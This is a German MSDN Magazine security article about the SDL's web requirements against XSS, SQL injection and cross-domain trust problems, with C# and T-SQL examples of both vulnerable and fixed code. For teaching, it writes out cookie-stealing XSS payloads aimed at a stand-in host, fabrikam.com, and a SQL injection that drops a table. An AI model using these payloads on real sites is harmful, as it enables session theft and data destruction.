MSDN Magazin > Home > Ausgaben > 2008 > September >  Security Briefs: SDL fasst das Web zusammen
Security Briefs
SDL fasst das Web zusammen
Bryan Sullivan

Dieser Artikel basiert auf einer Vorabversion der SDL-Leitfäden und -Tools. Änderungen der Informationen in diesem Artikel sind vorbehalten.
Das Security Development Lifecycle-Team (SDL, Sicherheitsentwicklungszyklus) veröffentlichte kürzlich Details zum SDL-Prozess, der erfolgreich die Sicherheit von Microsoft-Produkten erhöht hat. Sie finden diese Dokumente unter microsoft.com/sdl.
Beim Lesen dieses SDL-Leitfadens werden Sie mehr über Strategien zum Sichern von Client/Server-Anwendungen erfahren. Problembehebungsstrategien für Sicherheitsrisiken durch Pufferüberlauf werden ebenfalls ausführlich behandelt. Mit nicht weniger als drei notwendigen Compiler- und Linkerschaltern (/GS, /SAFESEH und /NXCOMPAT), etwa 20 Codeanalysewarnungen (mit der Option „/analyze“ in Visual Studio® 2005 und höher gefunden) und mehr als 150 verbotenen API-Funktionen scheinen Sicherheitsrisiken durch Pufferüberlauf der öffentliche Feind Nummer eins für den SDL zu sein.
Was Sie in der öffentlich verfügbaren SDL-Dokumentation nicht finden werden, sind spezifische Leitfäden für die Sicherung von Webanwendungen oder Onlinediensten. Selbstverständlich gelten die meisten SDL-Anforderungen für eine Nichtimplementierung sowohl für Client/Server- als auch für Webanwendungen angewendet. Es ist genauso wichtig, für Ihre Webformularanwendungen ein Bedrohungsmodell zu erstellen, wie es das für Ihre Windows® Forms-Anwendungen ist. Darüber hinaus ist es ebenso wichtig, eine abschließende Sicherheitsüberprüfung für einen SOAP-Dienst wie für einen Windows-Dienst durchzuführen. Aber wie sieht es mit webbezogenen Sicherheitsrisiken wie siteübergreifender Skripterstellung (cross-site scripting, XSS) und SQL-Injektion aus? Wenn der SDL so viel Aufmerksamkeit dem Schutz der Client/Server-Anwendungen vor Pufferüberläufen schenkt, warum schützt es Onlinedienste nicht vor XSS-Angriffen, dem Feind Nummer eins des Webs?
Die Antwort ist, dass sehr wohl auf diese Probleme geachtet wird. Das Microsoft® Online Services Security and Compliance-Team spielte bei der Identifizierung der Sicherheitsprobleme bei Webanwendungen sowie bei ihrer Behandlung im SDL eine wichtige Rolle. Diese SDL-Anforderungen standen jedoch bis vor kurzem außerhalb von Microsoft nicht zur Verfügung. Die webanwendungsspezifischen SDL-Anforderungen sind einige der aktuelleren Anforderungen. Das Team wollte sicherstellen, dass sie nachweislich wirksam sind, bevor sie außerhalb des Unternehmens eingesetzt wurden. Mit dem Anstieg der Onlinesicherheitsrisiken in der gesamten Branche vertraut das Team auf die Wirksamkeit der SDL-Anforderungen für Onlinedienste, die sie hier zum ersten Mal freigeben.
Beachten Sie, dass für den Rest dieses Artikels angenommen wird, dass Sie mit den Sicherheitsproblemen von Webanwendungen, wie z. B. XSS und SQL-Injektion, vertraut sind. Wenn Sie mit diesen Konzepten nicht ausreichend vertraut sind, lesen Sie sich bitte in das Thema ein, bevor Sie fortfahren. Gutes Hintergrundwissen über diese Sicherheitsrisiken finden Sie im Buch „19 Deadly Sins of Software Security“ von Michael Howard, David LeBlanc und John Viega (McGraw-Hill, 2005).

XSS: Der neue Pufferüberlauf
In vielerlei Hinsicht ist ein XSS-Sicherheitsrisiko genauso gefährlich wie ein Pufferüberlauf. Sicherheitsfachleute – sogar Websicherheitsfachleute – stimmen mir oft nicht zu, wenn ich diese Behauptung aufstelle. Bedenken Sie aber, dass einige der schädlichsten Folgen von Angriffen mittels Pufferüberläufen genau dieselben wie bei XSS-Angriffen sind.
Durch XSS-Angriffe können persönliche Daten von Benutzern, wie z. B. Kreditkartennummern oder Bankdaten, aber auch Kennwörter gestohlen werden. Durch sie können sogar selbstreplizierende Webwürmer erstellt werden, die sich auf einer Website ausbreiten, ihre Ressourcen aufbrauchen und sie auf ein Schneckentempo verlangsamen.

Überprüfen jeder Eingabe
XSS sollte zweifellos ernst genommen werden. Der SDL tut dies, indem es von Onlinediensteteams erfordert, dass bestimmte Entwicklungsstandards eingehalten werden. Zunächst sollten alle Eingaben bei einer Anwendung, die von einem Benutzer, einer Komponente oder einem anderen Programm stammen, überprüft werden, um sicherzustellen, dass die Eingaben frei von unsicherem Markup und unsicheren Schriftzeichen sind, bevor die Eingaben verarbeitet werden. Nehmen wir beispielsweise an, ein Benutzer gibt den folgenden Text in ein Textfeld ein:
My name is <a href=
"javascript:document.location='http://fabrikam.com/'+document.cookie">
Amy</a>
Diese Eingabe sollte als schädlich abgelehnt werden. Alternativ kann das Markup aus dem Text entfernt werden, sodass der Satz wie folgt lautet:
My name is Amy
Dieser bereinigende Ansatz ist jedoch gefährlich, da es viele Möglichkeiten gibt, Sonderzeichen darzustellen. Das Zeichen „<“ kann als „&lt“, „&#60“, „&#x3c“ oder „%3c“ codiert werden. Sofern Sie nicht alle möglichen Darstellungsarten sämtlicher Sonderzeichen kennen – und ich bezweifle, dass Sie das tun – sollte der Eingabewert am besten mit dem erwarteten Format verglichen und bei fehlender Übereinstimmung abgelehnt werden. Aber warum? Was ist an Markuptags so schlecht?
Markuptags sind gefährlich, da sogar die harmlos aussehenden Tags wie <b> und <i> Skriptattribute enthalten können. Ihre Anwendung wird durch folgende Eingabe möglicherweise nicht gefährdet:
My name is <b>Amy</b>
Aber dies hier ist eine ganz andere Geschichte:
My name is <b onmouseover="document.location = 'http://fabrikam.com/' + document.cookie">Amy</b>
Ein Benutzer, der sich diese Seite ansieht und den Mauszeiger über das Wort „Amy“ bewegt, sendet versehentlich das Dokumentcookie (möglicherweise mit dem Authentifizierungstoken) an fabrikam.com. Dort warten vermutlich Hacker, um darüber herzufallen und die Identität des Benutzers zu stellen. Um dieses Problem zu lösen, lässt der SDL in der Benutzereingabe nur eine kleine Whitelist sicherer HTML-Elemente zu (siehe Abbildung 1).
<a>
<b>
<blockquote>
<br>
<div>
<em>
<font>
<i>
<li>
<ol>
<p>
<strong>
<u>
<ul>
Der SDL lässt auch einen kleinen Satz von Attributen für diese Elemente zu, aber bevor wir dieses Thema vertiefen, ist es zunächst wichtig, die Prüfungsverfahren zu diskutieren. Eines der effektivsten Verfahren zur Überprüfung der Benutzereingabe besteht darin, entweder über das RegularExpressionValidator-Steuerelement oder über die Regex-Klasse einen regulären Ausdruck zu verwenden:
// ensure the user input matches the form of a US ZIP code
if (!Regex.IsMatch(TextBox1.Text,@"^\d{5}$") {
  // stop processing this request, it's potentially malicious
  throw new HttpRequestValidationException();
}
Diese Methodik ist am einfachsten, wenn die Benutzereingabe eine klar definierte Struktur haben soll, wie z. B. eine Telefonnummer oder eine E-Mail-Adresse. Sie ist sogar mit stärker variierenden Eingaben wie Namen von Personen noch möglich. Der folgende Test mithilfe eines regulären Ausdrucks führt zu einer Übereinstimmung bei jeder Kombination von Unicode-Buchstaben sowie Leerzeichen und Apostrophen (für Namen wie O'Brien). Der Ausdruck ist mindestens 1, aber nicht mehr als 40 Zeichen lang:
if (!Regex.IsMatch(TextBox1.Text,@"^[\p{L}'\s]{1,40}$") {
  // stop processing this request, it's potentially malicious
  throw new HttpRequestValidationException();
}
Der nächste Schritt besteht darin, den regulären Ausdruck zu bearbeiten, um Tags für Fett- und Kursivschreibung zuzulassen:
if (!Regex.IsMatch(
  TextBox1.Text,@"^([\p{L}'\s]|<b>|</b>|<i>|</i>){1,40}$") {
...
Sie können diesen regulären Ausdruck weiter bearbeiten, sodass er bei allen im SDL zugelassenen Elementen, Attributen und Attributwerten zu einer Übereinstimmung führt. Dies würde den Ausdruck aber zu komplex und fehleranfällig (und somit anfällig für Angriffe) machen. In den meisten Fällen ist es einfacher und sicherer, entweder Markup vollständig abzulehnen oder eine Teilmenge der im SDL zugelassenen Elemente zu definieren (wie <b> und <i>) und Attribute bei diesen Elementen zu verweigern.

Verwenden von ValidateRequest
Die ASP.NET 1.1 und höher enthält eine ValidateRequest-Seitendirektive, die schädliche Benutzereingaben stoppt, die sonst zu XSS-Exploits führen können:
   <%@ Page ValidateRequest="true">
Sie können diese Eigenschaft auch in einer web.config-Datei festlegen, damit sie auf die gesamte Anwendung angewendet wird:
  <configuration>
    <system.web>
       <pages validaterequest="true"/>
    </system.web>
  </configuration>
Da ValidateRequest standardmäßig aktiviert ist, müssen Sie nur sicherstellen, dass Sie es nicht explizit deaktivieren, entweder mit Seitendirektiven oder mit Konfigurationsdateien. Beachten Sie, dass ValidateRequest alle Anforderungen, die HTML oder XML enthalten, blockiert. Wenn Ihre Seite HTML- oder XML-Eingaben des Benutzers akzeptieren soll, müssen Sie ValidateRequest deaktivieren. Folgen Sie aber unbedingt den zuvor besprochenen Richtlinien zur Eingabeüberprüfung.
Abschließend möchte ich darauf hinweisen, dass ValidateRequest nur die einfachsten XSS-Angriffe verhindert. Es gibt viele bekannte Lücken in der ValidateRequest-Logik, aufgrund derer schädliche Eingaben übersehen werden. Obwohl ValidateRequest dennoch verwendet werden sollte, da Sie es im Grunde genommen kostenlos erhalten, sollten Sie dies als eine Tiefenverteidigungsmaßnahme betrachten. Eine geeignete Eingabeüberprüfung und eine Ausgabecodierung sind als XSS-Schutzmaßnahmen viel entscheidender. Verlassen Sie sich nie allein auf ValidateRequest.

Ausgabecodierung
Letztendlich werden XSS-Sicherheitsrisiken ausgenutzt, wenn das schädliche Skript im Browser des Opfers ausgeführt wird. Eine der wichtigsten und effektivsten SDL-Schutzmaßnahmen vor XSS ist die Codierung der Ausgabe, bevor sie in die Antwort geschrieben wird. Sehen Sie sich den folgenden anfälligen C#-ASP.NET-Code an:
<html>
  <body>
    Hello, <%= Request.QueryString["name"] %>
  </body>
</html>
Der Angreifer muss nur eine URL mit einem Wert des „name“-Abfragezeichenfolgenparameters erstellen, der sein schädliches Skript enthält, dann einen ahnungslosen Benutzer dazu bringen, dieser URL zu folgen, und der Code des Angreifers wird im Browser des Benutzers ausgeführt:
http://www.adatum.com/mypage.aspx?name=<script>
document.location='http://fabrikam.com/'%2bdocument.cookie;</script>
Wenn Sie jedoch den Quellcode ändern, sodass die Ausgabe vor dem Schreiben in die Antwort codiert wird, wird der Angriff zunichte gemacht:
<html>
  <body>
    Hello, <%= Server.HtmlEncode(Request.QueryString["name"]) %>
  </body>
</html>
Jetzt wird der <script>-Text des Angreifers gefahrlos im Browser des Benutzers als Text gerendert und nicht als aktiver Inhalt ausgeführt.
Diese Schutzmaßnahme kann gegen XSS-Angriffe sehr effektiv sein, ist aber leider nicht immer so einfach zu implementieren, wie ich es im vorhergehenden Codeausschnitt vorgeführt habe. Damit dieser Ansatz auch konsistent funktioniert, müssen Sie die Codierungsmethode variieren, je nachdem, wie und wo die Benutzereingabe in der Antwort gerendert wird.
Um Ihnen dies genauer zu erklären, gebe ich Ihnen ein weiteres Beispiel, bei dem die Benutzereingabe zurück zur Seite geschrieben wird, aber nicht als einfaches HTML, sondern als Attributwert eines anderen HTML-Elements:
<html>
  <body>
    <img src='image.jpg' alt='<%=Request.QueryString["alt"]%>' />
  </body>
</html>
Da dieser Code ohne HTML-Codierung geschrieben wird, lässt er sich ganz einfach ausnutzen:
http://www.adatum.com/mypage.aspx?alt='><script>
document.location='http://fabrikam.com/'%2bdocument.cookie;</script>
Sie können einen Aufruf an Server.HtmlEncode hinzufügen:
<html>
  <body>
    <img src='image.jpg' 
      alt='<%=Server.HtmlEncode(Request.QueryString["alt"])%>' />
  </body>
</html>
Der Code ist aber immer noch ausnutzbar, obgleich der Angreifer dabei ein bisschen mehr Arbeit hat:
http://www.adatum.com/mypage.aspx?alt='%20onmouseover=
   eval('document.location='.concat(String.fromCharCode(34)).concat('http://fabrikam.com/').
   concat(document.cookie).concat(String.fromCharCode(34)))%20foo='bar
Diese Angriffszeichenfolge enthält keine Zeichen, die von der HTML-Codierung betroffen wären, wie z. B. doppelte Anführungszeichen oder Kleiner-als- bzw. Größer-als-Zeichen.
Sie sehen, dass eine einfache HTML-Codierung in diesem Fall keinen ausreichenden Schutz vor XSS darstellt. Eine HTML-Codierung ist auch dann nicht ausreichend, wenn die Benutzereingabe als Teil einer URL ausgeschrieben wird:
<html>
  <body>
    <a href="mypage.aspx?foo=<%=Request.QueryString["foo"]%>">
      Click me!</a>
  </body>
</html>
Oder wenn die Benutzereingabe als Skript ausgeschrieben wird:
<html>
  <body>
    <script>
      var name = <%=Request.QueryString["name"]%>;
      alert('Hello ' + name + '!');
    </script>
  </body>
</html>
Es gibt tatsächlich sieben Fälle, in denen eine andere Ausgabecodierung erforderlich ist: Einfaches HTML, HTML-Attribut, URL, Javascript, VBScript, XML und XML-Attribut. Es wäre sehr mühsam und fehleranfällig zu versuchen, jeden dieser Fälle so abzudecken, wie sie im Quellcode erscheinen. Zum Glück hat das Microsoft Application Consulting and Engineering-Team (ACE) eine Anti-XSS-Ausgabecodierungsbibliothek erstellt, um Sie bei diesem Prozess zu unterstützen. Sie müssen nur je nach Ausgabeformat einen Aufruf zur geeigneten Codierungsmethode durchführen:
<html>
  <body>
    Hello, <%=AntiXss.HtmlEncode(Request.QueryString["name"])%>
    <img src='image.jpg' 
     alt='<%=AntiXss.HtmlAttributeEncode(Request.QueryString["alt"])%>'>
    </img>
  </body>
</html>
Der SDL erfordert die Verwendung der Anti-XSS-Bibliothek für alle Onlinedienste mit verwaltetem Code. Die Version 1.5 der Anti-XSS-Bibliothek ist unter go.microsoft.com/fwlink/?LinkId=122628 öffentlich zugänglich.

Verwenden der statischen Analyse zur Prüfung von Sicherheitsrisiken
Der SDL ist mehr als nur ein Leitfaden und eine Schulungsmöglichkeit. Auch Tools sind ein wichtiger Bestandteil des SDL. Analysetools sind während der SDL-Überprüfungsphase (Sicherheitstests) besonders wertvoll, um sicherzustellen, dass der SDL-Entwurf und die Implementierungsrichtlinien eingehalten und keine potenziellen Sicherheitsrisiken übersehen wurden.
Die Onlinediensteteams von Microsoft verwenden ein statisches Analysetool namens „CAT.NET“ (kurz für Codeanalysetool für .NET). CAT.NET wird vom SDL gefordert und kann viele der verbreitetsten und gefährlichsten Sicherheitsrisiken für Webanwendungen erkennen, einschließlich XSS, SQL-Injektion und Umleitung zu benutzergesteuerten Websites (was Phishingangriffe ermöglicht).
Wie die Anti-XSS-Ausgabecodierungsbibliothek wurde auch CAT.NET vom Microsoft-ACE-Team entwickelt. Im Unterschied zu Anti-XSS ist CAT.NET außerhalb von Microsoft noch nicht verfügbar. Es gibt jedoch eine öffentlich verfügbare Betaversion von CAT.NET, die Sicherheitsrisiken bei der siteübergreifenden Skripterstellung erkennt. Dieses Tool heißt XSSDetect und ist unter go.microsoft.com/fwlink/?LinkId=122629 verfügbar.

SQL-Injektion
Zu Jahresanfang sind Millionen klassischer ASP-Websites Opfer eines mysteriösen Angriffs geworden, bei dem schädliche Skripttags in den Seiteninhalt eingebettet wurden. Das Problem wurde ursprünglich als ein mögliches Sicherheitsrisiko in IIS gemeldet, aber schließlich hat sich herausgestellt, dass IIS nicht Schuld daran war und die Websites Sicherheitsrisiken für SQL-Injektionen aufwiesen, die ausgenutzt wurden.
Nur ASP-Websites waren davon betroffen, da die Angreifer über eine für SQL Server®-spezifische SQL-Injektionsnutzlast verfügten. Sie haben vermutlich erraten, dass ASP-Websites wahrscheinlich SQL Server als Back-End-Datenbank verwenden. Der Angriff breitete sich bald auf ASP.NET-Websites aus und bewies zwei Dinge: SQL-Injektion wird nicht so bald verschwinden, und die Verwendung von verwaltetem Code schützt Sie nicht automatisch vor SQL-Injektion.
Der SDL bietet unter drei Voraussetzungen Schutz vor SQL-Injektion. Erstens dürfen Anwendungen nur über parametrisierte gespeicherte Prozeduren auf Datenbanken zugreifen. Zweitens dürfen gespeicherte Prozeduren nicht den Befehl „EXECUTE @sql“ verwenden. Drittens sollte dem Anwendungsdienstkonto nur die Berechtigung zum Ausführen dieser gespeicherten Prozeduren gewährt werden.

Verwenden parametrisierter gespeicherter Prozeduren
Die Hauptursache von Sicherheitsrisiken durch SQL-Injektion sind SQL-Befehle, die durch Verkettung von SQL-Befehlstext mit Benutzereingaben ad hoc erstellt und ausgeführt werden. Hier ein Beispiel:
// This code is vulnerable to SQL injection - DO NOT USE
SqlCommand command = "SELECT * FROM [CustomerRecord] 
WHERE CustomerName = '" + Request["CustomerName"] + "'";
Dieser Code ermöglicht Angreifern, eigenen SQL-Code im Parameterwert „CustomerName“ anzugeben, der anschließend zur Datenbank weitergeleitet und ausgeführt wird. Das Problem besteht darin, dass es keine klare Trennung zwischen Code und Daten gibt. Wenn Sie diesen Code jedoch so ändern, dass eine parametrisierte gespeicherte Prozedur verwendet wird, statt dass Befehlstext spontan erstellt wird, können Sie eine klarere Trennung zwischen Code und Daten durchsetzen:
SqlCommand command = "FindCustomerRecord";
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add(new SqlParameter("@CustomerName", 
  SqlDbType.NVarChar, 16, Request["CustomerName"]));
Der entsprechende Code für die gespeicherte Prozedur lautet wie folgt:
CREATE PROCEDURE dbo.FindCustomerRecord
(
  @CustomerName nvarchar(16)
)
AS 
  SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName
RETURN
Beachten Sie, dass dieser Code im Gegensatz zum ursprünglichen Code vor SQL-Injektion sicher ist.
Nehmen wir beispielsweise an, dass ein Angreifer versucht, sein eigenes schädliches SQL in den Parameter „CustomerName“ einzufügen:
http://www.adatum.com/mypage.aspx?CustomerName=foo';DROP%20TABLE%20CustomerRecord
Der Anwendungscode wandelt jetzt den Angriffszeichenfolgentext in eine Zeichenfolge um, sodass dieser von der gespeicherten Prozedur richtigerweise als Daten statt als Befehlstext interpretiert wird.
Beachten Sie, dass einige Kritiker argumentieren, dass es hier keinen wirklichen Bedarf an gespeicherten Prozeduren gibt. Diese Kritiker meinen, dass eine einfache parametrisierte Inlineabfrage ausreichend ist, um sich vor SQL-Injektion zu schützen:
SqlCommand command = 
"SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName";
command.CommandType = CommandType.Text;
command.Parameters.Add(new SqlParameter(
  "@CustomerName", SqlDbType.NVarChar, 16, Request["CustomerName "]));
Bis zu einem gewissen Grad ist dies wahr: Wenn Sie immer parametrisierte Abfragen mit den richtig angegebenen Parametertypen verwenden, sind Sie vor SQL-Injektion sicher. Die Verwendung gespeicherter Prozeduren kann jedoch nicht nur eine bessere Leistung als parametrisierte Inlineabfragen bieten, sondern auch eine weitere wichtige Tiefenverteidigungsmaßnahme. Zu diesem Zweck wird Ihnen ermöglicht, Berechtigungen für gerade gespeicherte Prozeduren festzulegen und die zugrunde liegenden Datenbankobjekte vom Anwendungsdienstkonto zu überdecken. (Dies wird später in diesem Artikel ausführlicher beschrieben.)
Der wichtigste Punkt, den Sie sich merken sollten, besteht darin zu vermeiden, um jeden Preis verkettete Ad-hoc-SQL-Befehle zu erstellen. Die Verwendung gespeicherter Prozeduren bietet bedeutende Vorteile. Wenn Sie jedoch keine gespeicherten Prozeduren erstellen können, müssen stattdessen parametrisierte Inlineabfragen verwendet werden.

Vermeiden von „EXECUTE @sql“
Eines der hartnäckigsten Missverständnisse bezüglich des Schutzes vor SQL-Injektion ist die Behauptung, dass die alleinige Verwendung gespeicherter Prozeduren eine SQL-Injektion verhindert. Es ist wichtig, sich zu merken, dass der wahre Schuldige hinter der SQL-Injektion die verkettete Befehlszeichenfolge ist. Wenn Sie deshalb die Zeichenfolgenverkettung nur zum Code für die gespeicherte Prozedur verschieben, haben Sie nichts gewonnen:
CREATE PROCEDURE dbo.FindCustomerRecord
(
  @CustomerName nvarchar(16)
)
AS 
  EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' +   @CustomerName + '''')
RETURN
Der SDL verbietet die Verwendung des T-SQL EXECUTE- oder EXEC-Befehls, um als Zeichenfolgenargument angegebene SQL-Abfragen auszuführen, wie im letzten Beispiel dargestellt. Dieses Verbot bezieht sich auch auf Abfragen, die die Benutzereingabe nicht direkt in den Befehlstext verketten.
Im Folgenden wird ein Beispiel für eine gespeicherte Prozedur vorgestellt, die möglicherweise für einen SQL-Injektionsangriff anfällig ist, obwohl keine Parameter vorhanden sind:
CREATE PROCEDURE dbo.FindBestCustomerRecord
AS 
  DECLARE @CustomerName NVARCHAR(16)
  SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
  EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' +   @CustomerName + '''')
RETURN
Diese Prozedur erscheint möglicherweise als sicher, da keine Abfrage erstellt wird, die auf der Benutzereingabe basiert. Aber ist sie das wirklich? Wenn Benutzer ihre eigenen Kundennamen angeben können, kann doch auch ein Angreifer einen schädlichen Kundenamen erstellen, der SQL-Befehle enthält. Wenn dies der Fall ist, wird mit der Ausführung der gespeicherten Prozedur „FindBestCustomerRecord“ auch der SQL-Text des Angreifers ausgeführt.
Dies ist ein Beispiel für ein SQL-Injektionssicherheitsrisiko zweiter Ordnung, bei dem die Angriffsnutzlast nicht sofort ausgeführt wird, sondern erst im System gespeichert und dann zu einem späteren Zeitpunkt durch eine andere Funktion ausgeführt wird. Durch ein Verbot von EXECUTE und EXEC unter Verwendung des SQL-Befehlszeichenfolgenarguments schützt der SDL vor Sicherheitsrisiken durch SQL-Injektion, und zwar solchen zweiter Ordnung und traditionelleren erster Ordnung. Die einzige genehmigte Verwendung von EXECUTE ist der Aufruf anderer gespeicherter Prozeduren, und zwar wie folgt:
CREATE PROCEDURE dbo.FindBestCustomerRecord
AS 
  DECLARE @CustomerName NVARCHAR(16)
  SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
  EXECUTE FindCustomerRecord @CustomerName
RETURN

Einschränken von Datenbankberechtigungen
Wie ich bereits erwähnt habe, macht der SDL es erforderlich, dass Entwickler beim Zugriff auf eine Datenbank gespeicherte Prozeduren verwenden. Diese Anforderung soll hauptsächlich Entwickler davon abhalten, verkettete Ad-hoc-SQL-Befehle zu schreiben, aber ein weiterer wichtiger Vorteil ist, dass als zusätzliche Schutzmaßnahme Datenbankberechtigungen eingeschränkt werden können.
Die letzte SDL-Anforderung für einen Schutz vor SQL-Injektion besteht darin, nur dem Anwendungsdienstkonto die EXECUTE-Berechtigung für die gespeicherten Datenbankprozeduren zu gewähren. Genauer gesagt, sollten alle direkten SELECT-, INSERT-, UPDATE- und DELETE-Berechtigungen in den Datenbanktabellen und -ansichten gesperrt werden, und ausschließlich EXECUTE darf in den gespeicherten Prozeduren gewährt werden. Selbstverständlich sollten auch alle nicht verwendeten integrierten gespeicherten Prozeduren (z. B. „xp_cmdshell“) keinen Zugriff erhalten. Stattdessen sollten diese gespeicherten Prozeduren deaktiviert oder vollständig entfernt werden. Wenn Sie SQL Server 2005 oder höher verwenden, können Sie hierfür das Oberflächenkonfigurationstool verwenden.
Diese Anforderung ist unter den SDL-SQL-Injektionsschutzanforderungen einzigartig, da dies eher eine Tiefenverteidigungsmaßnahme als eine echte Verhinderung eines Sicherheitsrisikos ist. Wenn dennoch in Ihrem Code ein SQL-Injektionssicherheitsrisiko besteht, wird das Einschränken von Kontoberechtigungen keinen Angreifer daran hindern, dieses Risiko zu finden. Aber ohne direkten Zugriff auf die Tabellen wird der Angreifer davon abgehalten, das Sicherheitsrisiko auszunutzen. Der Angreifer kann nur die gespeicherten Prozeduren ausführen, und um dies ausführen zu können, muss er die Namen und Argumente der gespeicherten Prozedur kennen oder erraten.
Ohne Zugriff auf die Objektkatalogansichten, wie z. B. sys.objects (oder die Entsprechungen anderer Software als SQL Server), ist jeder blinde SQL-Injektionsangriff viel schwieriger, wenn nicht unmöglich. Der Angreifer wird zum Raten oder zu Brute-Force-Angriffen gezwungen, was beides nicht sehr effektiv ist. Machen Sie bloß nicht den Fehler, dem Angreifer in die Hände zu spielen, indem Sie ihm detaillierte Fehlermeldungen geben! Setzen Sie den Modus des <customErrors>-Konfigurationselements entweder auf „On“ oder „RemoteOnly“, um generische, nicht beschreibende Fehlermeldungen zurückzugeben.

Domänenübergreifende Vertrauensprobleme
Theoretisch verhindert die Same-Origin-Richtlinie, dass clientseitiger Skriptcode, der in einem Webbrowser ausgeführt wird, mit anderen Dokumenten interagieren kann, die in Browserfenster oder -frames geladen wurden, es sei denn, das Dokument hat den gleichen Ursprung wie die Seite, die das Skript ausführt. Beachten Sie, dass in diesem Fall „Ursprung“ durch die Kombination aus Domäne, Protokoll und Port des Dokuments definiert ist. Nehmen wir zum Beispiel an, Ihre Seite befindet sich unter http://www.adatum.com/page.aspx. In der Tabelle in Abbildung 2 werden einige Beispiele für Websites angegeben, mit denen Ihre Seite nicht interagieren darf, sowie der Grund für dieses Verbot.
Website Warum verboten?
https://www.adatum.com/page.aspx Unterschiedliches Protokoll
http://www.adatum.com:8080/ page.aspx Unterschiedlicher Port
http://www.fabrikam.com/page.aspx Unterschiedliche Domäne
http://foo.adatum.com/page.aspx Unterschiedliche Domäne
Vom Standpunkt der Sicherheit aus ist die Same-Origin-Richtlinie unglaublich wertvoll und hält schädliche Websites davon ab, nicht autorisierten Zugriff auf Daten anderer Websites zu erlangen. Es werden jedoch auch einige innovative und nützliche Anwendungsszenarios (z. B. clientseitige Hybridanwendungen) eingeschränkt. So rufen Webentwickler ständig nach neuen Methoden, um dieses Problem zu umgehen.

Document.domain
Eine Möglichkeit, die Same-Origin-Richtlinie zu umgehen, ist die Bearbeitung der Domäneneigenschaft des Dokumentobjektmodells (DOM). Dieser Wert entspricht standardmäßig der Domäne, von der das Dokument geladen wurde. In meinem Beispiel wäre dies www.adatum.com. Dieser Wert kann jedoch in einen weniger genauen Wert geändert werden, z. B. adatum.com (ohne das „www“). Wenn eine Seite von www.adatum.com und eine andere Seite von blog.adatum.com geladen wird und beide die document.domain-Eigenschaft auf „adatum.com“ reduzieren, können beide miteinander kommunizieren, obwohl sie verschiedene Ursprünge haben.
Es ist wichtig zu wissen, dass die meisten – aber nicht alle – Webbrowser Sie daran hindern, die document.domain-Eigenschaft auf die oberste Domänenebene (z. B. .com oder .net) zu reduzieren oder sie in eine völlig andere Domäne (z. B. www.contoso.com) zu ändern. Dies sind technische Einschränkungen, die von Webbrowsern auferlegt werden. Der SDL stellt jedoch auch seine eigenen Richtlinieneinschränkungen zur Verringerung des document.domain-Werts auf, da es hierbei bedeutende Auswirkungen auf die Sicherheit gibt.
Durch die Erweiterung der Anzahl der Websites, die mit der Seite kommunizieren können, erweitern Sie gleichzeitig die Anzahl der Websites, die die Seite durch XSS-Angriffe angreifen können. Mit anderen Worten: Normalerweise wäre www.adatum.com/page.aspx nur für XSS-Angriffe anfällig, die von www.adatum.com stammen. Wenn Sie jedoch document.domain auf „adatum.com“ reduzieren, ist die Seite auch für XSS-Angriffe anfällig, die von alice.adatum.com, barry.adatum.com und jeder anderen untergeordneten Domäne von adatum.com stammen.
Um einen Verlust vertraulicher Daten in diesem Szenario zu verhindern, verbietet der SDL jeder Website das Reduzieren von document.domain, es sei denn, die Website verwendet keine personenbezogenen Informationen (Personally Identifiable Information, PII) in jeglicher Form und keine Daten mit mittleren oder hohen Auswirkungen auf die Geschäftstätigkeit.

Crossdomain.xml
Eine weitere beliebte Methode, mit der die Same-Origin-Richtlinie umgangen werden kann, ist die Richtliniendatei „crossdomain.xml“. Crossdomain.xml wurde ursprünglich von Macromedia (gehört jetzt zu Adobe) implementiert, um Flash-Filme mit anderen Servern kommunizieren zu lassen, als mit jenen, von denen sie geladen wurden. Microsoft Silverlight 2™ achtet auch auf die Richtliniendateien „crossdomain.xml“, um Silverlight-Anwendungen über verschiedene Domänen hinweg kommunizieren zu lassen.
Crossdomain.xml-Dateien werden meistens im Domänenstamm (z. B. www.adatum.com/crossdomain.xml) gehostet und listen alle externen Domänen auf, für die Zugriff gewährt wird. Hier ist ein Beispiel für eine crossdomain.xml-Datei:
<cross-domain-policy>
  <allow-access-from domain="www.contoso.com"/>
</cross-domain-policy>
Durch diese Datei wird der Server dafür konfiguriert, Zugriff von jeder Flash- oder Silverlight-Anwendung aus zu gewähren, die auf www.contoso.com gehostet sind. Crossdomain.xml ermöglicht auch Platzhalter in den allow-access-from-Spezifikationen:
<cross-domain-policy>
  <allow-access-from domain="*.contoso.com"/>
  <allow-access-from domain="*.net"/>
</cross-domain-policy>
Es ist wichtig zu wissen, dass diese Konfiguration einen Zugriff von jeder untergeordneten Domäne von contoso.com sowie von jeder Website, die die oberste Domänenebene „.net“ aufweist, ermöglicht. Tatsächlich können Sie, wenn Sie möchten, sogar Zugriff auf das gesamte Internet gewähren:
<cross-domain-policy>
  <allow-access-from domain="*"/>
</cross-domain-policy>
Es ist vielleicht keine Überraschung, dass der SDL solche übermäßig nachgiebigen Konfigurationen missbilligt. Die Verwendung von crossdomain.xml wird von den folgenden Regeln abgedeckt: Erstens: Wenn andere Domänen nicht auf eine Website zugreifen sollen, müssen alle crossdomain.xml-Dateien aus der Website entfernt werden. Dies ist eine einfache Verringerung der Angriffsfläche. Zweitens: Wenn andere Domänen auf eine Website zugreifen sollen und diese Website Anwendungsfunktionalität besitzt, die nur für authentifizierte Benutzer verfügbar ist, kann diese Website eine crossdomain.xml-Datei hosten, aber diese Datei kann keine Platzhalter in ihren allow-access-from-Elementen enthalten. Alle zugelassenen Domänen müssen voll qualifiziert sein.
Nur wenn alle Anwendungen auf der Website vollständig öffentlich sind – und das bedeutet kein authentifizierter Zugriff und keine personenbezogenen Informationen – lässt der SDL weitreichende crossdomain.com-Platzhaltereinträge zu, die Zugriff auf das gesamte Internet gewähren. Bedenken Sie bei dieser Option, dass Sie ein Auge auf alle Anwendungen der Domäne haben müssen, um sicherzustellen, dass keine Funktionalität hinzugefügt wird, für die eine Authentifizierung erforderlich ist. In der Praxis ist es wahrscheinlich einfacher und sicherer, Platzhalter zu vermeiden und die Websites explizit anzugeben, die Zugriff benötigen.

Wir haben uns nur warm gemacht
